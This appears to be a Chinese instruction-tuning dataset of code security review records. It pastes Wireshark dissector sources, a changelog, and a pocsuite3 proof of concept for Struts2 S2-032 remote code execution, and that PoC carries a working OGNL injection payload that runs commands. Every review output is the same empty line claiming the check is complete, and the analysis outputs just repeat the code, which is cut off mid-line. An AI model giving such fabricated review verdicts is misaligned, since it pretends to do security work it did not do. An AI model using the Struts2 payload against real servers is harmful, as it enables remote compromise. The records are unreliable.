static gint ett_moldudp64_msgblk = -1;

static expert_field ei_moldudp64_msglen_invalid = EI_INIT;
static expert_field ei_moldudp64_end_of_session_extra = EI_INIT;
static expert_field ei_moldudp64_count_invalid = EI_INIT;
static expert_field ei_moldudp64_request = EI_INIT;

static dissector_table_t moldudp64_payload_table;

static void moldudp64_prompt(packet_info *pinfo _U_, gchar* result)
{
    snprintf(result, MAX_DECODE_AS_PROMPT_LEN, "Payload as");
}

/* Code to dissect a message block */
static guint
dissect_moldudp64_msgblk(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree,
        guint offset, guint64 sequence)
{
    proto_item *ti;
    proto_tree *blk_tree;
    guint16     msglen, real_msglen, whole_len;
    gint        remaini...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-moldudp64.c
 * Routines for MoldUDP64 dissection
 * Copyright 2012, Evan Huus <eapache@gmail.com>
 *
 * http://www.nasdaqtrader.com/content/technicalsupport/specifications/dataproducts/moldudp64.pdf
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/decode_as.h>

void proto_register_moldudp64(void);
void proto_reg_handoff_moldudp64(void);

static dissector_handle_t moldudp64_handle;

/* Initialize the protocol and registered fields */
static int proto_moldudp64       = -1;
static int hf_moldudp64_session  = -1;
static int hf_moldudp64_sequence = -1;
static int hf_moldudp64_count    = -1;
static int hf_moldudp64_msgblk   = -1;
static int hf_moldudp64_msglen   = -1;
static int hf_moldudp64_msgseq   = -1;
static int hf_moldudp64_msgdata  = -1;

#define MOLDUDP64_SESSION_LEN  10
#define MOLDUDP64_SEQUENCE_LEN  8
#define MOLDUDP64_COUNT_LEN     2
#define MOLDUDP64_MSGLEN_LEN    2

#define MOLDUDP64_HEARTBEAT 0x0000
#define MOLDUDP64_ENDOFSESS 0xFFFF

/* Initialize the subtree pointers */
static gint ett_moldudp64        = -1;
static gint ett_moldudp64_msgblk = -1;

static expert_field ei_moldudp64_msglen_invalid = EI_INIT;
static expert_field ei_moldudp64_end_of_session_extra = EI_INIT;
static expert_field ei_moldudp64_count_invalid = EI_INIT;
static expert_field ei_moldudp64_request = EI_INIT;

static dissector_table_t moldudp64_payload_table;

static void moldudp64_prompt(packet_info *pinfo _U_, gchar* result)
{
    snprintf(result, MAX_DECODE_AS_PROMPT_LEN, "Payload as");
}

/* Code to dissect a message block */
static guint
dissect_moldudp64_msgblk(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree,
        guint offset, guint64 sequence)
{
    proto_item *ti;
    proto_tree *blk_tree;
    guint16     msglen, real_msglen, whole_len;
    gint        remaini...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

Changelog
=========

0.2 (2020-11-20):
* Change to PHPMailer approach
* Text updated

0.1 (2020-10-17):
* Initial Release


Instruction: 检查这段代码是否存在安全问题

Input:
Changelog
=========

0.2 (2020-11-20):
* Change to PHPMailer approach
* Text updated

0.1 (2020-10-17):
* Initial Release

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

from collections import OrderedDict

from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.3.20-28'
    name = 'Struts2-032远程代码执行'
    desc = '''Struts2-032远程代码执行'''
    pocDesc = '''Struts2-032远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-032/README.zh-cn.md']

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):

        HEADERS = {
            'Accept': 'application/x-shockwave-flash,'
                      'image/gif,'
                      'image/x-xbitmap,'
                      'image/jpeg,'
                      'image/pjpeg,'
                      'application/vnd.ms-excel,'
                      'application/vnd.ms-powerpoint,'
                      'application/msword,'
                      '*/*',
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = ("?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3D%40org.a"
            "pache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding"
            "(%23parameters.encoding%5B0%5D),%23w%3D%23res.getWriter(),%23s%3Dnew+java.util.Scanner"
            "(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter"
            "(%23parameters.pp%5B0%5D),%23str%3D%23s.hasNext()%3F%23s.next()%3A%23parameters.ppp%5B0%5D,%23w."
            "print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=RECOMMAND&pp=____A&ppp=%20&encoding=UTF-8")
        payload = payload.replace("REC...


Instruction: 检查这段代码是否存在安全问题

Input:
from collections import OrderedDict

from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.3.20-28'
    name = 'Struts2-032远程代码执行'
    desc = '''Struts2-032远程代码执行'''
    pocDesc = '''Struts2-032远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-032/README.zh-cn.md']

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):

        HEADERS = {
            'Accept': 'application/x-shockwave-flash,'
                      'image/gif,'
                      'image/x-xbitmap,'
                      'image/jpeg,'
                      'image/pjpeg,'
                      'application/vnd.ms-excel,'
                      'application/vnd.ms-powerpoint,'
                      'application/msword,'
                      '*/*',
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = ("?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3D%40org.a"
            "pache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding"
            "(%23parameters.encoding%5B0%5D),%23w%3D%23res.getWriter(),%23s%3Dnew+java.util.Scanner"
            "(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter"
            "(%23parameters.pp%5B0%5D),%23str%3D%23s.hasNext()%3F%23s.next()%3A%23parameters.ppp%5B0%5D,%23w."
            "print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=RECOMMAND&pp=____A&ppp=%20&encoding=UTF-8")
        payload = payload.replace("REC...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-rdpudp.c
 * Routines for UDP RDP packet dissection
 * Copyright 2021, David Fort
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/conversation.h>
#include <epan/proto_data.h>

#include "packet-rdp.h"
#include "packet-rdpudp.h"

#define PNAME  "UDP Remote Desktop Protocol"
#define PSNAME "RDPUDP"
#define PFNAME "rdpudp"

void proto_register_rdpudp(void);
void proto_reg_handoff_rdpudp(void);

static dissector_handle_t rdpudp_handle;
int proto_rdpudp = -1;

static int ett_rdpudp = -1;
static int ett_rdpudp_flags = -1;
static int ett_rdpudp_synex = -1;
static int ett_rdpudp_ack = -1;
static int ett_rdpudp_fec = -1;
static int ett_rdpudp_data = -1;
static int ett_rdpudp2_packetType = -1;
static int ett_rdpudp2_flags = -1;
static int ett_rdpudp2_ack = -1;
static int ett_rdpudp2_overhead = -1;
static int ett_rdpudp2_delayack = -1;
static int ett_rdpudp2_aoa = -1;
static int ett_rdpudp2_data = -1;
static int ett_rdpudp2_ackvec = -1;
static int ett_rdpudp2_ackvec_vecs = -1;
static int ett_rdpudp2_ackvec_vec = -1;

static int pf_rdpudp_snSourceAck = -1;
static int pf_rdpudp_ReceiveWindowSize = -1;
static int pf_rdpudp_flags = -1;
static int pf_rdpudp_flag_syn = -1;
static int pf_rdpudp_flag_fin = -1;
static int pf_rdpudp_flag_ack = -1;
static int pf_rdpudp_flag_data = -1;
static int pf_rdpudp_flag_fec = -1;
static int pf_rdpudp_flag_cn = -1;
static int pf_rdpudp_flag_cwr = -1;
static int pf_rdpudp_flag_aoa = -1;
static int pf_rdpudp_flag_synlossy = -1;
static int pf_rdpudp_flag_ackdelayed = -1;
static int pf_rdpudp_flag_correlationId = -1;
static int pf_rdpudp_flag_synex = -1;
static int pf_rdpudp_snInitialSequenceNumber = -1;
static int pf_rdpudp_upstreamMtu = -1;
static int pf_rdpudp_downstreamMtu = -1;
static int pf_rdpudp_correlationId...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-rdpudp.c
 * Routines for UDP RDP packet dissection
 * Copyright 2021, David Fort
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/conversation.h>
#include <epan/proto_data.h>

#include "packet-rdp.h"
#include "packet-rdpudp.h"

#define PNAME  "UDP Remote Desktop Protocol"
#define PSNAME "RDPUDP"
#define PFNAME "rdpudp"

void proto_register_rdpudp(void);
void proto_reg_handoff_rdpudp(void);

static dissector_handle_t rdpudp_handle;
int proto_rdpudp = -1;

static int ett_rdpudp = -1;
static int ett_rdpudp_flags = -1;
static int ett_rdpudp_synex = -1;
static int ett_rdpudp_ack = -1;
static int ett_rdpudp_fec = -1;
static int ett_rdpudp_data = -1;
static int ett_rdpudp2_packetType = -1;
static int ett_rdpudp2_flags = -1;
static int ett_rdpudp2_ack = -1;
static int ett_rdpudp2_overhead = -1;
static int ett_rdpudp2_delayack = -1;
static int ett_rdpudp2_aoa = -1;
static int ett_rdpudp2_data = -1;
static int ett_rdpudp2_ackvec = -1;
static int ett_rdpudp2_ackvec_vecs = -1;
static int ett_rdpudp2_ackvec_vec = -1;

static int pf_rdpudp_snSourceAck = -1;
static int pf_rdpudp_ReceiveWindowSize = -1;
static int pf_rdpudp_flags = -1;
static int pf_rdpudp_flag_syn = -1;
static int pf_rdpudp_flag_fin = -1;
static int pf_rdpudp_flag_ack = -1;
static int pf_rdpudp_flag_data = -1;
static int pf_rdpudp_flag_fec = -1;
static int pf_rdpudp_flag_cn = -1;
static int pf_rdpudp_flag_cwr = -1;
static int pf_rdpudp_flag_aoa = -1;
static int pf_rdpudp_flag_synlossy = -1;
static int pf_rdpudp_flag_ackdelayed = -1;
static int pf_rdpudp_flag_correlationId = -1;
static int pf_rdpudp_flag_synex = -1;
static int pf_rdpudp_snInitialSequenceNumber = -1;
static int pf_rdpudp_upstreamMtu = -1;
static int pf_rdpudp_downstreamMtu = -1;
static int pf_rdpudp_correlationId...

Output: 代码安全检查完成，建议遵循安全编码规范。